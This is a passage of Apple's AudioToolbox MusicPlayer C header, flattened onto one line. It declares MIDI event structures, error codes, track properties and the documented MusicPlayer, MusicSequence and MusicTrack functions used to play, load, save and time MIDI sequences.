UInt8 velocity; UInt8 releaseVelocity; // was "reserved". 0 is the correct value when you don't know. Float32 duration; } MIDINoteMessage; /*! @struct MIDIChannelMessage @discussion The parameters to specify a MIDI channel message */ typedef struct MIDIChannelMessage { UInt8 status; // contains message and channel // message specific data UInt8 data1; UInt8 data2; UInt8 reserved; } MIDIChannelMessage; /*! @struct MIDIRawData @discussion Generally used to represent a MIDI SysEx message */ typedef struct MIDIRawData { UInt32 length; UInt8 data[1]; } MIDIRawData; /*! @struct MIDIMetaEvent @discussion The parameters to specify a MIDI meta event */ typedef struct MIDIMetaEvent { UInt8 metaEventType; UInt8 unused1; UInt8 unused2; UInt8 unused3; UInt32 dataLength; UInt8 data[1]; } MIDIMetaEvent; /*! @struct MusicEventUserData @discussion Provides a general struct for specifying a user defined event. @field length the size in bytes of the data @field data size bytes of user defined event data */ typedef struct MusicEventUserData { UInt32 length; UInt8 data[1]; } MusicEventUserData; /*! @struct ExtendedNoteOnEvent @discussion The parameters to specify an extended note on event */ typedef struct ExtendedNoteOnEvent { MusicDeviceInstrumentID instrumentID; MusicDeviceGroupID groupID; Float32 duration; MusicDeviceNoteParams extendedParams; } ExtendedNoteOnEvent; /*! @struct ParameterEvent @discussion The parameters to specify a parameter event to an audio unit. */ typedef struct ParameterEvent { AudioUnitParameterID parameterID; AudioUnitScope scope; AudioUnitElement element; AudioUnitParameterValue value; } ParameterEvent; /*! @struct ExtendedTempoEvent @discussion specifies the value for a tempo in beats per minute */ typedef struct ExtendedTempoEvent { Float64 bpm; } ExtendedTempoEvent; /*! @struct AUPresetEvent @discussion The parameters to specify a preset for an audio unit. */ typedef struct AUPresetEvent { AudioUnitScope scope; AudioUnitElement element; CFPropertyListRef preset; } AUPresetEvent; #if TARGET_OS_IPHONE // CAClock is currently not supported on iOS, so we include the definition of this structure here // (otherwise we include the CAClock header /*! @struct CABarBeatTime @abstract A display representation of a musical time in beats. @field bar A measure number. @field beat A beat number (1..n). @field subbeat The numerator of the fractional number of beats. @field subbeatDivisor The denominator of the fractional number of beats. @field reserved Must be 0. @discussion A clock's internal representation of musical time is in beats based on the beginning of the timeline. Normally, such times should be displayed to the user in terms of bars, beats, and subbeats (sometimes called "units" or "parts per quarter" [PPQ]). This data structure is such a display representation. By convention, bar 1 is the beginning of the sequence. Beat 1 is the first beat of the measure. In 4/4 time, beat will have a value from 1 to 4. Music applications often use beat divisions such as 480 and 960. */ struct CABarBeatTime { SInt32 bar; UInt16 beat; UInt16 subbeat; UInt16 subbeatDivisor; UInt16 reserved; }; typedef struct CABarBeatTime CABarBeatTime; #else CF_ASSUME_NONNULL_END #include <AudioToolbox/CoreAudioClock.h> CF_ASSUME_NONNULL_BEGIN #endif typedef struct OpaqueMusicPlayer *MusicPlayer; typedef struct OpaqueMusicSequence *MusicSequence; typedef struct OpaqueMusicTrack *MusicTrack; typedef struct OpaqueMusicEventIterator *MusicEventIterator; /*! @typedef MusicSequenceUserCallback @discussion See MusicSequenceSetUserCallback */ typedef void (*MusicSequenceUserCallback)( void * __nullable inClientData, MusicSequence inSequence, MusicTrack inTrack, MusicTimeStamp inEventTime, const MusicEventUserData * inEventData, MusicTimeStamp inStartSliceBeat, MusicTimeStamp inEndSliceBeat); /*! @enum MusicPlayerErrors @constant kAudioToolboxErr_InvalidSequenceType @constant kAudioToolboxErr_TrackIndexError @constant kAudioToolboxErr_TrackNotFound @constant kAudioToolboxErr_EndOfTrack @constant kAudioToolboxErr_StartOfTrack @constant kAudioToolboxErr_IllegalTrackDestination @constant kAudioToolboxErr_NoSequence @constant kAudioToolboxErr_InvalidEventType @constant kAudioToolboxErr_InvalidPlayerState @constant kAudioToolboxErr_CannotDoInCurrentContext */ CF_ENUM(OSStatus) { kAudioToolboxErr_InvalidSequenceType = -10846, kAudioToolboxErr_TrackIndexError = -10859, kAudioToolboxErr_TrackNotFound = -10858, kAudioToolboxErr_EndOfTrack = -10857, kAudioToolboxErr_StartOfTrack = -10856, kAudioToolboxErr_IllegalTrackDestination = -10855, kAudioToolboxErr_NoSequence = -10854, kAudioToolboxErr_InvalidEventType = -10853, kAudioToolboxErr_InvalidPlayerState = -10852, kAudioToolboxErr_CannotDoInCurrentContext = -10863, kAudioToolboxError_NoTrackDestination = -66720 }; /*! @enum MusicTrackProperties @discussion Property values are always get and set by reference @constant kSequenceTrackProperty_LoopInfo read/write - MusicTrackLoopInfo The default looping behaviour is off (track plays once) Looping is set by specifying the length of the loop. It loops from (TrackLength - loop length) to Track Length If numLoops is set to zero, it will loop forever. To turn looping off, you set this with loop length equal to zero. @constant kSequenceTrackProperty_OffsetTime read/write - MusicTimeStamp offset's the track's start time to the specified beat. By default this value is zero. @constant kSequenceTrackProperty_MuteStatus read/write - Boolean mute state of a track. By default this value is false (not muted) @constant kSequenceTrackProperty_SoloStatus read/write - Boolean solo state of a track. By default this value is false (not soloed) @constant kSequenceTrackProperty_AutomatedParameters read/write - UInt32 Determines whether a track is used for automating parameters. If set to != 0 the track is used to automate parameter events to an AUNode. The track can only contain parameter events and these events are interpreted as points in the automation curve @constant kSequenceTrackProperty_TrackLength read/write - MusicTimeStamp The time of the last event in the track plus any additional time that is allowed for fading out of ending notes or round a loop point to musical bar, etc. If this is not set, the track length will always be adjusted to the end of the last active event in a track and is adjusted dynamically as events are added or removed. The property will return the max of the user set track length, or the calculated length @constant kSequenceTrackProperty_TimeResolution read only - SInt16 (only valid on the Tempo track) This retrieves the time resolution value for a sequence. This time resolution can be the resolution that was contained within the midi file used to construct a sequence. If you want to keep a time resolution when writing a new file, you can retrieve this value and then specify it when creating a new file from a sequence. It has no direct baring on the rendering or notion of time of the sequence itself (just its representation in file formats such as MIDI files). By default this is set to either: 480 if the sequence is created manually some_value based on what was in a MIDI file if the sequence was created from a MIDI file */ CF_ENUM(UInt32) { kSequenceTrackProperty_LoopInfo = 0, kSequenceTrackProperty_OffsetTime = 1, kSequenceTrackProperty_MuteStatus = 2, kSequenceTrackProperty_SoloStatus = 3, // added in 10.2 kSequenceTrackProperty_AutomatedParameters = 4, // added in 10.3 kSequenceTrackProperty_TrackLength = 5, // added in 10.5 kSequenceTrackProperty_TimeResolution = 6 }; /*! @struct MusicTrackLoopInfo @discussion Used to control the looping behaviour of a track */ typedef struct MusicTrackLoopInfo { MusicTimeStamp loopDuration; SInt32 numberOfLoops; } MusicTrackLoopInfo; //===================================================================================================================== #pragma mark - //===================================================================================================================== #pragma mark Music Player /*! @functiongroup Music Player */ /*! @function NewMusicPlayer @abstract Create a new music player @discussion A music player is used to play a sequence back. This call is used to create a player When a sequence is to be played by a player, it can play to either an AUGraph, a MIDI Destination or a mixture/combination of both. @param outPlayer the newly created player */ extern OSStatus NewMusicPlayer( MusicPlayer __nullable * __nonnull outPlayer) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function DisposeMusicPlayer @abstract Dispose a music player @param inPlayer the player to dispose */ extern OSStatus DisposeMusicPlayer( MusicPlayer inPlayer) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicPlayerSetSequence @abstract Set the sequence for the player to play @discussion A Sequence cannot be set on a player while it is playing. Setting a sequence will overide the currently set sequence. @param inPlayer the player @param inSequence the sequence for the player to play */ extern OSStatus MusicPlayerSetSequence( MusicPlayer inPlayer, MusicSequence inSequence) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicPlayerGetSequence @abstract Get the sequence attached to a player @discussion If the player does not have a sequence set, this will return the _NoSequence error @param inPlayer the player @param outSequence the sequence currently set on the player */ extern OSStatus MusicPlayerGetSequence( MusicPlayer inPlayer, MusicSequence __nullable * __nonnull outSequence) __OSX_AVAILABLE_STARTING(__MAC_10_3,__IPHONE_5_0); /*! @function MusicPlayerSetTime @abstract Set the current time on the player @discussion The Get and Set Time calls take a specification of time as beats. This positions the player to the specified time based on the currently set sequence. No range checking on the time value is done. This can be set on a playing player (in which case playing will be resumed from the new time). @param inPlayer the player @param inTime the new time value */ extern OSStatus MusicPlayerSetTime( MusicPlayer inPlayer, MusicTimeStamp inTime) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicPlayerGetTime @abstract Get the current time of the player @discussion The Get and Set Time calls take a specification of time as beats. This retrieves the player's current time. If it is playing this time is the time of the player at the time the call was made. @param inPlayer the player @param outTime the current time value */ extern OSStatus MusicPlayerGetTime( MusicPlayer inPlayer, MusicTimeStamp *outTime) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicPlayerGetHostTimeForBeats @abstract Returns the host time that will be (or was) played at the specified beat. @discussion This call is only valid if the player is playing and will return an error if the player is not playing or if the starting position of the player (its "starting beat") was after the specified beat. For general translation of beats to time in a sequence, see the MusicSequence calls for beat<->seconds. The call uses the player's sequence's tempo map to translate a beat time from the starting time and beat of the player. @param inPlayer the player @param inBeats the specified beat-time value @param outHostTime the corresponding host time */ extern OSStatus MusicPlayerGetHostTimeForBeats( MusicPlayer inPlayer, MusicTimeStamp inBeats, UInt64 * outHostTime) __OSX_AVAILABLE_STARTING(__MAC_10_2,__IPHONE_5_0); /*! @function MusicPlayerGetBeatsForHostTime @abstract Returns the beat that will be (or was) played at the specified host time. @discussion This call is only valid if the player is playing and will return an error if the player is not playing or if the starting time of the player was after the specified host time. For general translation of beats to time in a sequence, see the MusicSequence calls for beat<->seconds. The call uses the player's sequence's tempo map to retrieve a beat time from the starting and specified host time. @param inPlayer the player @param inHostTime the specified host time value @param outBeats the corresponding beat time */ extern OSStatus MusicPlayerGetBeatsForHostTime( MusicPlayer inPlayer, UInt64 inHostTime, MusicTimeStamp *outBeats) __OSX_AVAILABLE_STARTING(__MAC_10_2,__IPHONE_5_0); /*! @function MusicPlayerPreroll @abstract Prepare the player for playing @discussion Allows the player to prepare its state so that starting is has a lower latency. If a player is started without being prerolled, the player will pre-roll itself and then start. @param inPlayer the player */ extern OSStatus MusicPlayerPreroll( MusicPlayer inPlayer) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicPlayerStart @abstract Start the player @discussion If the player has not been prerolled, it will pre-roll itself and then start. @param inPlayer the player */ extern OSStatus MusicPlayerStart( MusicPlayer inPlayer) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicPlayerStop @abstract Stop the player @param inPlayer the player */ extern OSStatus MusicPlayerStop( MusicPlayer inPlayer) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); // /*! @function MusicPlayerIsPlaying @abstract Returns the playing state of the player. "Is it playing?" @discussion This call returns a non-zero value in outIsPlaying if the player has been started and not stopped. It may have "played" past the events of the attached MusicSequence, but it is still considered to be playing (and its time value increasing) until it is explicitly stopped @param inPlayer the player @param outIsPlaying false if not, true (non-zero) if is playing */ extern OSStatus MusicPlayerIsPlaying( MusicPlayer inPlayer, Boolean * outIsPlaying) __OSX_AVAILABLE_STARTING(__MAC_10_2,__IPHONE_5_0); /*! @function MusicPlayerSetPlayRateScalar @abstract Scale the playback rate of the player @param inPlayer the player @param inScaleRate a scalar that will be applied to the playback rate. If 2, playback is twice as fast, if 0.5 it is half as fast. As a scalar, the value must be greater than zero. */ extern OSStatus MusicPlayerSetPlayRateScalar( MusicPlayer inPlayer, Float64 inScaleRate) __OSX_AVAILABLE_STARTING(__MAC_10_3,__IPHONE_5_0); /*! @function MusicPlayerGetPlayRateScalar @abstract Get the playback rate scalar of the player @param inPlayer the player @param outScaleRate the current scalar being applied to the player. Default value is 1.0 */ extern OSStatus MusicPlayerGetPlayRateScalar( MusicPlayer inPlayer, Float64 * outScaleRate) __OSX_AVAILABLE_STARTING(__MAC_10_3,__IPHONE_5_0); //===================================================================================================================== #pragma mark - //===================================================================================================================== #pragma mark Music Sequence /*! @functiongroup Music Sequence */ /*! @function NewMusicSequence @abstract Create a new empty sequence @discussion A new music sequence will only have a tempo track (with a default tempo of 120 bpm), and the default type is beat based. When a sequence is to be played by a player, it can play to either an AUGraph, a MIDI Destination or a mixture/combination of both. See MusicSequenceSetAUGraph and MusicSequenceSetMIDIEndpoint for the generic destination assignments. Specific tracks can also be assigned nodes of a graph or a MIDI endpoint as targets for the events that they contain; see MusicTrackSetDestNode and MusicTrackSetDestMIDIEndpoint. @param outSequence the new sequence */ extern OSStatus NewMusicSequence( MusicSequence __nullable * __nonnull outSequence) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function DisposeMusicSequence @abstract Dispose the sequence @discussion A sequence cannot be disposed while a MusicPlayer has it. @param inSequence the sequence */ extern OSStatus DisposeMusicSequence( MusicSequence inSequence) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicSequenceNewTrack @abstract Add a new (empty) track to the sequence @param inSequence the sequence @param outTrack the new track (it is always appended to any existing tracks) */ extern OSStatus MusicSequenceNewTrack( MusicSequence inSequence, MusicTrack __nullable * __nonnull outTrack) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicSequenceDisposeTrack @abstract Remove and dispose a track from a sequence @param inSequence the sequence @param inTrack the track to remove and dispose */ extern OSStatus MusicSequenceDisposeTrack( MusicSequence inSequence, MusicTrack inTrack) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicSequenceGetTrackCount @abstract The number of tracks in a sequence. The track count and accessors exclude the tempo track (which is treated as a special case) @param inSequence the sequence @param outNumberOfTracks the number of tracks */ extern OSStatus MusicSequenceGetTrackCount( MusicSequence inSequence, UInt32 *outNumberOfTracks) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicSequenceGetIndTrack @abstract Get a track at the specified index @discussion Index is zero based. It will return kAudio_ParamError if index is not in the range: 0 < TrackCount The track count and accessors exclude the tempo track (which is treated as a special case) @param inSequence the sequence @param inTrackIndex the index @param outTrack the track at that index */ extern OSStatus MusicSequenceGetIndTrack( MusicSequence inSequence, UInt32 inTrackIndex, MusicTrack __nullable * __nonnull outTrack) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicSequenceGetTrackIndex @abstract Get the index for a specific track @discussion Index is zero based. It will return an error if the track is not a member of the sequence. The track count and accessors exclude the tempo track (which is treated as a special case) @param inSequence the sequence @param inTrack the track @param outTrackIndex the index of the track */ extern OSStatus MusicSequenceGetTrackIndex( MusicSequence inSequence, MusicTrack inTrack, UInt32 *outTrackIndex) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicSequenceGetTempoTrack @abstract Get the tempo track of the sequence @discussion Each sequence has a single tempo track. All tempo events are placed into this tempo track (as well as other appropriate events (time sig for instance from a MIDI file). The tempo track, once retrieved can be edited and iterated upon as any other track. Non-tempo events in a tempo track are ignored. @param inSequence the sequence @param outTrack the tempo track of the sequence */ extern OSStatus MusicSequenceGetTempoTrack( MusicSequence inSequence, MusicTrack __nullable * __nonnull outTrack) __OSX_AVAILABLE_STARTING(__MAC_10_1,__IPHONE_5_0); /*! @function MusicSequenceSetAUGraph @abstract Set the graph to be associated with the sequence @discussion A sequence can be associated with an AUGraph and this graph will be used to render the events as controlled by the sequence when it is played. By default, all of the tracks of a sequence will find the first AUNode that is an instance of an Apple MusicDevice audio unit (see MusicSequenceGetAUGraph). Specific nodes of the graph can be targeted for different tracks (see MusicTrackSetDestNode). To render a multi-track GM MIDI sequence on iOS, create a custom graph with a MIDISynth audio unit as the MusicDevice. If inGraph is set to NULL, the sequence will reset to use the default graph. @param inSequence the sequence @param inGraph the graph */ extern OSStatus MusicSequenceSetAUGraph( MusicSequence inSequence, AUGraph __nullable inGraph) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicSequenceGetAUGraph @abstract Gets the graph currently associated with a sequence @discussion By default if no graph is assigned to a sequence then the sequence will create a default graph. This default graph contains a MusicDevice and a DynamicsProcessor and all tracks will be targeted to the MusicDevice. On Mac OS X, this MusicDevice is an instance of a software synthesizer that is compatible with the GM and GS MIDI standards. On iOS, it is an instance of a monotimbral software synthesizer designed to render events from a single MIDI channel. To render multi-track GM MIDI sequences on iOS, create a custom graph with a MIDISynth audio unit as the MusicDevice. This call will thus either return the graph as set by the user, or this default graph. @param inSequence the sequence @param outGraph the graph */ extern OSStatus MusicSequenceGetAUGraph( MusicSequence inSequence, AUGraph __nullable * __nonnull outGraph) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); #if (TARGET_OS_MAC && !TARGET_OS_IPHONE) || TARGET_OS_IOS /*! @function MusicSequenceSetMIDIEndpoint @abstract Makes the target of all of the tracks in the sequence a MIDI endpoint @discussion This is a convenience function, and is equivalent to iterating through all of the tracks in a sequence and targeting each track to the MIDI endpoint @param inSequence the sequence @param inEndpoint the MIDI endpoint */ extern OSStatus MusicSequenceSetMIDIEndpoint( MusicSequence inSequence, MIDIEndpointRef inEndpoint) __OSX_AVAILABLE_STARTING(__MAC_10_1,__IPHONE_5_0); #endif /*! @function MusicSequenceSetSequenceType @abstract Set the sequence type (the default is beats) @discussion These two calls allow you to get and set a MusicSequence type; specifying kMusicSequenceType_Beats = 'beat', kMusicSequenceType_Seconds = 'secs', kMusicSequenceType_Samples = 'samp' The sequence type can be set to beats at any time. The sequence type can only be set to seconds or samples if there are NO tempo events already in the sequence. For beats - it can have as many tempo events as you want For Samples and Seconds - you should add a single tempo event after setting the type Samples - the tempo is the desired sample rate - e.g. 44100 and each "beat" in the sequence will be interpreted as a sample count at that sample rate (so beat == 44100 is a second) Seconds - the tempo should be set to 60 - a beat is a second. Beats is the default (and is the behaviour on pre 10.5 systems) A meta event of interest for Seconds based MIDI files is the SMPTE Offset meta event - stored in the tempo track. The sequence doesn't do anything with this event (except store/write it) @param inSequence the sequence @param inType the sequence type */ extern OSStatus MusicSequenceSetSequenceType( MusicSequence inSequence, MusicSequenceType inType) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); /*! @function MusicSequenceGetSequenceType @abstract Get the sequence type @discussion See SetSequence for a full description @param inSequence the sequence @param outType the type */ extern OSStatus MusicSequenceGetSequenceType( MusicSequence inSequence, MusicSequenceType * outType) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); /*! @function MusicSequenceFileLoad @abstract Load the data contained within the referenced file to the sequence @discussion This function will parse the file referenced by the URL and add the events to the sequence. @param inSequence the sequence @param inFileRef a file:// URL that references a file @param inFileTypeHint provides a hint to the sequence on the file type being imported @param inFlags flags that can control how the data is parsed in the file and laid out in the tracks that will be created and added to the sequence in this operation */ extern OSStatus MusicSequenceFileLoad (MusicSequence inSequence, CFURLRef inFileRef, MusicSequenceFileTypeID inFileTypeHint, // can be zero in many cases MusicSequenceLoadFlags inFlags) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); /*! @function MusicSequenceFileLoadData @abstract Load the data to the sequence @discussion This function will parse the data and add the events to the sequence. The data provided needs to be of a particular file type as specified by the fileTypeHint. @param inSequence the sequence @param inData the contents of a valid file loaded into a CFData object @param inFileTypeHint provides a hint to the sequence on the file type being imported @param inFlags flags that can control how the data is parsed in the file and laid out in the tracks that will be created and added to the sequence in this operation */ extern OSStatus MusicSequenceFileLoadData (MusicSequence inSequence, CFDataRef inData, MusicSequenceFileTypeID inFileTypeHint, // can be zero in many cases MusicSequenceLoadFlags inFlags) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); /*! @function MusicSequenceSetSMPTEResolution @abstract Helper function to establish the SMPTE based MIDI file resolution for the specified ticks @discussion SMPTE resolution helpers for dealing with the interpretation and creation of tick values for standard MIDI files (see MusicSequenceFileCreate) @param fps the frames per second @param ticks the ticks per quarter note @result the resolution that can be used when creating a MIDI file derived from the two parameters */ CF_INLINE SInt16 MusicSequenceSetSMPTEResolution (SignedByte fps, Byte ticks) { SInt8 res8 = fps < 0 ? fps : -fps; SInt16 res = (SInt16) (res8 << 8); res += ticks; return res; } /*! @function MusicSequenceGetSMPTEResolution @abstract Helper function to get the fps and ticks from their representation in a SMPTE based MIDI file @discussion SMPTE resolution helpers for dealing with the interpretation and creation of tick values for standard MIDI files (see MusicSequenceFileCreate) @param inRes the resolution from a MIDI file @param fps the frames per second @param ticks the ticks per quarter note */ CF_INLINE void MusicSequenceGetSMPTEResolution (SInt16 inRes, SignedByte * fps, Byte * ticks) { *fps = (SignedByte)((0xFF00 & inRes) >> 8); *ticks = 0x7F & inRes; } /*! @function MusicSequenceFileCreate @abstract Create a file from a sequence @discussion This function can be (and is most commonly) used to create a MIDI file from the events in a sequence. Only MIDI based events are used when creating the MIDI file. MIDI files are normally beat based, but can also have a SMPTE (or real-time rather than beat time) representation. inResolution is relationship between "tick" and quarter note for saving to Standard MIDI File - pass in zero to use default - this will be the value that is currently set on the tempo track - see the comments for the set track property's time resolution The different Sequence types determine the kinds of files that can be created: Beats When saving a MIDI file, it saves a beats (PPQ) based axis Seconds When saving a MIDI file, it will save it as a SMPTE resolution - so you should specify this resolution when creating the MIDI file. If zero is specified, 25 fps and 40 ticks/frame is used (a time scale of a millisecond) Samples You cannot save to a MIDI file with this sequence type The complete meaning of the 16-bit "division" field in a MIDI File's MThd chunk. If it is positive, then a tick represents 1/D quarter notes. If it negative: bits 14-8 are a signed 7-bit number representing the SMPTE format: -24, -25, -29 (drop), -30 bits 7-0 represents the number of ticks per SMPTE frame typical values: 4, 10, 80, 100 You can obtain millisecond resolution by specifying 25 frames/sec and 40 divisions/frame. 30 fps with 80 bits (ticks) per frame: 0xE250 ((char)0xE2 == -30) @param inSequence the sequence @param inFileRef the location of the file to create @param inFileType the type of file to create @param inFlags flags to control the file creation @param inResolution the resolution (depending on file type and sequence type) */ extern OSStatus MusicSequenceFileCreate (MusicSequence inSequence, CFURLRef inFileRef, MusicSequenceFileTypeID inFileType, MusicSequenceFileFlags inFlags, SInt16 inResolution) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); /*! @function MusicSequenceFileCreateData @abstract Create a data object from a sequence @discussion The same basic parameters apply to this as with the MusicSequenceFileCreate function. The difference being that that function will create a file on disk, whereas this one will create a CFData object that is a file in memory. The CFData object should be released by the caller. @param inSequence the sequence @param inFileType the type of file to create @param inFlags flags to control the file creation @param inResolution the resolution (depending on file type and sequence type) @param outData the resulting data object */ extern OSStatus MusicSequenceFileCreateData (MusicSequence inSequence, MusicSequenceFileTypeID inFileType, MusicSequenceFileFlags inFlags, SInt16 inResolution, CFDataRef __nullable * __nonnull outData) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); /*! @function MusicSequenceReverse @abstract Reverse in time all events in a sequence, including the tempo events @param inSequence the sequence */ extern OSStatus MusicSequenceReverse( MusicSequence inSequence) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicSequenceGetSecondsForBeats @abstract Returns a seconds value that would correspond to the supplied beats @discussion Uses the sequence's tempo events @param inSequence the sequence @param inBeats the beats @param outSeconds the seconds (time from 0 beat) */ extern OSStatus MusicSequenceGetSecondsForBeats( MusicSequence inSequence, MusicTimeStamp inBeats, Float64 * outSeconds) __OSX_AVAILABLE_STARTING(__MAC_10_2,__IPHONE_5_0); /*! @function MusicSequenceGetBeatsForSeconds @abstract Returns a beat value that would correspond to the supplied seconds from zero. @discussion Uses the sequence's tempo events @param inSequence the sequence @param inSeconds the seconds @param outBeats the corresponding beat */ extern OSStatus MusicSequenceGetBeatsForSeconds( MusicSequence inSequence, Float64 inSeconds, MusicTimeStamp * outBeats) __OSX_AVAILABLE_STARTING(__MAC_10_2,__IPHONE_5_0); /*! @function MusicSequenceSetUserCallback @abstract Establish a user callback for a sequence @discussion This call is used to register (or remove if inCallback is NULL) a callback that the MusicSequence will call for ANY UserEvents that are added to any of the tracks of the sequence. If there is a callback registered, then UserEvents will be chased when MusicPlayerSetTime is called. In that case the inStartSliceBeat and inEndSliceBeat will both be the same value and will be the beat that the player is chasing too. In normal cases, where the sequence data is being scheduled for playback, the following will apply: inStartSliceBeat <= inEventTime < inEndSliceBeat The only exception to this is if the track that owns the MusicEvent is looping. In this case the start beat will still be less than the end beat (so your callback can still determine that it is playing, and what beats are currently being scheduled), however, the inEventTime will be the original time-stamped time of the user event. @param inSequence the sequence @param inCallback the callback @param inClientData client (user supplied) data provided back to the callback when it is called by the sequence */ extern OSStatus MusicSequenceSetUserCallback( MusicSequence inSequence, MusicSequenceUserCallback __nullable inCallback, void * __nullable inClientData) __OSX_AVAILABLE_STARTING(__MAC_10_3,__IPHONE_5_0); /*! @function MusicSequenceBeatsToBarBeatTime @abstract Convenience function to format a sequence's beat time to its bar-beat time @discussion see <AudioToolbox/CAClock.h>. The sequence's tempo track Time Sig events are used to to calculate the bar-beat representation. If there are no Time Sig events added to the sequence 4/4 is assumed. A Time Sig event is a MIDI Meta Event as specified for MIDI files. @param inSequence the sequence @param inBeats the beat which should be represented by the bar-beat @param inSubbeatDivisor The denominator of the fractional number of beats. @param outBarBeatTime the formatted bar/beat time */ extern OSStatus MusicSequenceBeatsToBarBeatTime(MusicSequence inSequence, MusicTimeStamp inBeats, UInt32 inSubbeatDivisor, CABarBeatTime * outBarBeatTime) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); /*! @function MusicSequenceBarBeatTimeToBeats @abstract Convenience function to format a bar-beat time to a sequence's beat time @discussion see <AudioToolbox/CAClock.h>. The sequence's tempo track Time Sig events are used to to calculate the bar-beat representation. If there are no Time Sig events added to the sequence 4/4 is assumed. A Time Sig event is a MIDI Meta Event as specified for MIDI files. @param inSequence the sequence @param inBarBeatTime the bar-beat time @param outBeats the sequence's beat time for that bar-beat time */ extern OSStatus MusicSequenceBarBeatTimeToBeats(MusicSequence inSequence, const CABarBeatTime * inBarBeatTime, MusicTimeStamp * outBeats) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); /*! @function MusicSequenceGetInfoDictionary @abstract Returns a dictionary containing meta-data derived from a sequence @discussion The dictionary can contain one or more of the kAFInfoDictionary_* keys specified in <AudioToolbox/AudioFile.h> The caller should release the returned dictionary. If the call fails it will return NULL @param inSequence the sequence @result a CFDictionary or NULL if the call fails. */ CF_IMPLICIT_BRIDGING_ENABLED extern CFDictionaryRef MusicSequenceGetInfoDictionary( MusicSequence inSequence) __OSX_AVAILABLE_STARTING(__MAC_10_5,__IPHONE_5_0); CF_IMPLICIT_BRIDGING_DISABLED //===================================================================================================================== #pragma mark - //===================================================================================================================== #pragma mark Music Track /*! @functiongroup Music Track */ /*! @function MusicTrackGetSequence @abstract Gets the sequence which the track is a member of @param inTrack the track @param outSequence the track's sequence */ extern OSStatus MusicTrackGetSequence( MusicTrack inTrack, MusicSequence __nullable * __nonnull outSequence) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackSetDestNode @abstract Sets the track's target to the specified AUNode @discussion The node must be a member of the graph that the track's sequence is using. When played, the track will send all of its events to that node. @param inTrack the track @param inNode the new node */ extern OSStatus MusicTrackSetDestNode( MusicTrack inTrack, AUNode inNode) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); #if (TARGET_OS_MAC && !TARGET_OS_IPHONE) || TARGET_OS_IOS /*! @function MusicTrackSetDestMIDIEndpoint @abstract Sets the track's target to the specified MIDI endpoint @discussion When played, the track will send all of its events to the specified MIDI Endpoint. @param inTrack the track @param inEndpoint the new MIDI endpoint */ extern OSStatus MusicTrackSetDestMIDIEndpoint( MusicTrack inTrack, MIDIEndpointRef inEndpoint) __OSX_AVAILABLE_STARTING(__MAC_10_1,__IPHONE_5_0); #endif /*! @function MusicTrackGetDestNode @abstract Gets the track's target if it is an AUNode @discussion Returns kAudioToolboxErr_IllegalTrackDestination if the track's target is a MIDIEndpointRef and NOT an AUNode @param inTrack the track @param outNode the node target for the track */ extern OSStatus MusicTrackGetDestNode( MusicTrack inTrack, AUNode * outNode) __OSX_AVAILABLE_STARTING(__MAC_10_1,__IPHONE_5_0); #if (TARGET_OS_MAC && !TARGET_OS_IPHONE) || TARGET_OS_IOS /*! @function MusicTrackGetDestMIDIEndpoint @abstract Gets the track's target if it is a MIDI Endpoint @discussion Returns kAudioToolboxErr_IllegalTrackDestination if the track's target is an AUNode and NOT a MIDI Endpoint @param inTrack the track @param outEndpoint the MIDI Endpoint target for the track */ extern OSStatus MusicTrackGetDestMIDIEndpoint( MusicTrack inTrack, MIDIEndpointRef * outEndpoint) __OSX_AVAILABLE_STARTING(__MAC_10_1,__IPHONE_5_0); #endif /*! @function MusicTrackSetProperty @abstract Sets the specified property value @discussion Property values are always get and set by reference @param inTrack the track @param inPropertyID the property ID @param inData the new property value @param inLength the size of the property value being set */ extern OSStatus MusicTrackSetProperty( MusicTrack inTrack, UInt32 inPropertyID, void *inData, UInt32 inLength) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); /*! @function MusicTrackGetProperty @abstract Gets the specified property value @discussion If outData is NULL, then the size of the data will be passed back in ioLength This allows the client to allocate a buffer of the correct size (useful for variable length properties -- currently all properties have fixed size) Property values are always get and set by reference @param inTrack the track @param inPropertyID the property ID @param outData if not NULL, points to data of size ioLength @param ioLength on input the available size of outData, on output the size of the valid data that outData will then point too. */ extern OSStatus MusicTrackGetProperty( MusicTrack inTrack, UInt32 inPropertyID, void *outData, UInt32 *ioLength) __OSX_AVAILABLE_STARTING(__MAC_10_0,__IPHONE_5_0); 